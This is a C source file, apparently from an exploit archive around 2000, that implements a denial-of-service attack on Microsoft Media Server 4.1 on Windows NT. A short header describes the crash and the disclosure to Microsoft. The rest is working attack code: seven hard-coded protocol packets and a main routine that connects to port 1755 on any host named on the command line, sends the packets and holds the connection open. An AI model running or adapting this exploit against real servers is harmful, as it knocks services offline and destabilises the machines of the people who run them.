/* * * Microsoft Media Server 4.1 - Denial of Service Attack * * This code will crash the Microsoft Media Unicast Server for * Windows NT. We have tested this against machines running SP4 * and SP6. * * We have seen the entire machine become very unstable following * the crash of the unicast server. * * Notified secure@microsoft.com Jan-18-2000 at 11:30 AM. * Microsoft advisory released Feb-23-2000. * * http://www.microsoft.com/technet/security/bulletin/fq00-013.asp * */ #include #include #include #include #include #include #include #include char packet1[] = { 0x01, 0x00, 0x00, 0x00, 0xce, 0xfa, 0x0b, 0xb0, 0xa0, 0x00, 0x00, 0x00, 0x4d, 0x4d, 0x53, 0x20, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf8, 0x53, 0xe3, 0xa5, 0x9b, 0xc4, 0x00, 0x40, 0x12, 0x00, 0x00, 0x00, 0x01, 0x00, 0x03, 0x00, 0xf0, 0xf0, 0xf0, 0xf0, 0x0b, 0x00, 0x04, 0x00, 0x1c, 0x00, 0x03, 0x00, 0x4e, 0x00, 0x53, 0x00, 0x50, 0x00, 0x6c, 0x00, 0x61, 0x00, 0x79, 0x00, 0x65, 0x00, 0x72, 0x00, 0x2f, 0x00, 0x34, 0x00, 0x2e, 0x00, 0x31, 0x00, 0x2e, 0x00, 0x30, 0x00, 0x2e, 0x00, 0x33, 0x00, 0x38, 0x00, 0x35, 0x00, 0x37, 0x00, 0x3b, 0x00, 0x20, 0x00, 0x7b, 0x00, 0x30, 0x00, 0x32, 0x00, 0x64, 0x00, 0x30, 0x00, 0x63, 0x00, 0x32, 0x00, 0x63, 0x00, 0x30, 0x00, 0x2d, 0x00, 0x62, 0x00, 0x35, 0x00, 0x30, 0x00, 0x37, 0x00, 0x2d, 0x00, 0x31, 0x00, 0x31, 0x00, 0x64, 0x00, 0x32, 0x00, 0x2d, 0x00, 0x39, 0x00, 0x61, 0x00, 0x61, 0x00, 0x38, 0x00, 0x2d, 0x00, 0x62, 0x00, 0x37, 0x00, 0x30, 0x00, 0x66, 0x00, 0x33, 0x00, 0x30, 0x00, 0x34, 0x00, 0x34, 0x00, 0x61, 0x00, 0x65, 0x00, 0x37, 0x00, 0x65, 0x00, 0x7d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; char packet2[] = { 0x01, 0x00, 0x00, 0x00, 0xce, 0xfa, 0x0b, 0xb0, 0x20, 0x00, 0x00, 0x00, 0x4d, 0x4d, 0x53, 0x20, 0x04, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x5e, 0xba, 0x49, 0x0c, 0x02, 0x2b, 0x01, 0x40, 0x02, 0x00, 0x00, 0x00, 0x18, 0x00, 0x03, 0x00, 0xf1, 0xf0, 0xf0, 0xf0, 0x0b, 0x00, 0x04, 0x00 }; char packet3[] = { 0x01, 0x00, 0x00, 0x00, 0xce, 0xfa, 0x0b, 0xb0, 0x60, 0x00, 0x00, 0x00, 0x4d, 0x4d, 0x53, 0x20, 0x0c, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x83, 0xc0, 0xca, 0xa1, 0x45, 0xb6, 0x01, 0x40, 0x0a, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0xf1, 0xf0, 0xf0, 0xf0, 0xff, 0xff, 0xff, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa0, 0x00, 0x02, 0x00, 0x00, 0x00, 0x5c, 0x00, 0x5c, 0x00, 0x31, 0x00, 0x39, 0x00, 0x32, 0x00, 0x2e, 0x00, 0x31, 0x00, 0x36, 0x00, 0x38, 0x00, 0x2e, 0x00, 0x30, 0x00, 0x2e, 0x00, 0x32, 0x00, 0x5c, 0x00, 0x54, 0x00, 0x43, 0x00, 0x50, 0x00, 0x5c, 0x00, 0x31, 0x00, 0x31, 0x00, 0x31, 0x00, 0x31, 0x00, 0x00, 0x00, 0x32, 0x00, 0x63, 0x00, 0x30, 0x00 }; char packet4[] = { 0x01, 0x00, 0x00, 0x00, 0xce, 0xfa, 0x0b, 0xb0, 0x88, 0x00, 0x00, 0x00, 0x4d, 0x4d, 0x53, 0x20, 0x11, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x2b, 0x87, 0x16, 0xd9, 0xce, 0xf7, 0x01, 0x40, 0x0f, 0x00, 0x00, 0x00, 0x05, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x54, 0x00, 0x68, 0x00, 0x65, 0x00, 0x20, 0x00, 0x45, 0x00, 0x61, 0x00, 0x67, 0x00, 0x6c, 0x00, 0x65, 0x00, 0x73, 0x00, 0x20, 0x00, 0x54, 0x00, 0x65, 0x00, 0x71, 0x00, 0x75, 0x00, 0x69, 0x00, 0x6c, 0x00, 0x61, 0x00, 0x20, 0x00, 0x53, 0x00, 0x75, 0x00, 0x6e, 0x00, 0x72, 0x00, 0x69, 0x00, 0x73, 0x00, 0x65, 0x00, 0x20, 0x00, 0x32, 0x00, 0x38, 0x00, 0x6b, 0x00, 0x2f, 0x00, 0x65, 0x00, 0x61, 0x00, 0x67, 0x00, 0x6c, 0x00, 0x65, 0x00, 0x73, 0x00, 0x32, 0x00, 0x38, 0x00, 0x2e, 0x00, 0x61, 0x00, 0x73, 0x00, 0x66, 0x00, 0x00, 0x00, 0x62, 0x00, 0x37, 0x00, 0x30, 0x00, 0x66, 0x00 }; char packet5[] = { 0x01, 0x00, 0x00, 0x00, 0xce, 0xfa, 0x0b, 0xb0, 0x48, 0x00, 0x00, 0x00, 0x4d, 0x4d, 0x53, 0x20, 0x09, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x67, 0x66, 0x66, 0x66, 0x66, 0x66, 0x02, 0x40, 0x07, 0x00, 0x00, 0x00, 0x15, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, 0x65, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0xac, 0x40, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; char packet6[] = { 0x01, 0x00, 0x00, 0x00, 0xce, 0xfa, 0x0b, 0xb0, 0x30, 0x00, 0x00, 0x00, 0x4d, 0x4d, 0x53, 0x20, 0x06, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x0a, 0xd7, 0xa3, 0x70, 0x3d, 0x0a, 0x11, 0x40, 0x04, 0x00, 0x00, 0x00, 0x33, 0x00, 0x03, 0x00, 0x02, 0x00, 0x00, 0x00, 0xff, 0xff, 0x01, 0x00, 0x00, 0x00, 0xff, 0xff, 0x02, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, 0x65, 0x00, 0x20, 0x00 }; char packet7[] = { 0x01, 0x00, 0x00, 0x00, 0xce, 0xfa, 0x0b, 0xb0, 0x38, 0x00, 0x00, 0x00, 0x4d, 0x4d, 0x53, 0x20, 0x07, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x2f, 0xdd, 0x24, 0x06, 0x81, 0x15, 0x11, 0x40, 0x05, 0x00, 0x00, 0x00, 0x07, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00, 0xff, 0xff, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x16, 0xca, 0x03, 0x80, 0x04, 0x00, 0x00, 0x00 }; int sock; int main(int argc, char *argv[]) { struct hostent *he; struct sockaddr_in sa; char buf[1024]; if (argc != 2) { fprintf(stderr, "usage: %s \n", argv[0]); return(-1); } sock = socket ( AF_INET, SOCK_STREAM, 0); sa.sin_family = AF_INET; sa.sin_port = htons(1755); he = gethostbyname (argv[1]); if (!he) { if ((sa.sin_addr.s_addr = inet_addr(argv[1])) == INADDR_NONE) return(-1); } else { bcopy(he->h_addr, (struct in_addr *) &sa.sin_addr, he->h_length); } if (connect(sock, (struct sockaddr *) &sa, sizeof(sa)) < 0) { fprintf(stderr, "Fatal Error: Can't connect to Microsoft Media Server.\n"); return(-1); } write(sock, packet1, sizeof(packet1)); write(sock, packet2, sizeof(packet2)); write(sock, packet3, sizeof(packet3)); write(sock, packet4, sizeof(packet4)); write(sock, packet5, sizeof(packet5)); write(sock, packet6, sizeof(packet6)); write(sock, packet7, sizeof(packet7)); for (;;) { read(sock, buf, sizeof(buf)); } } /* www.hack.co.za [2000]*/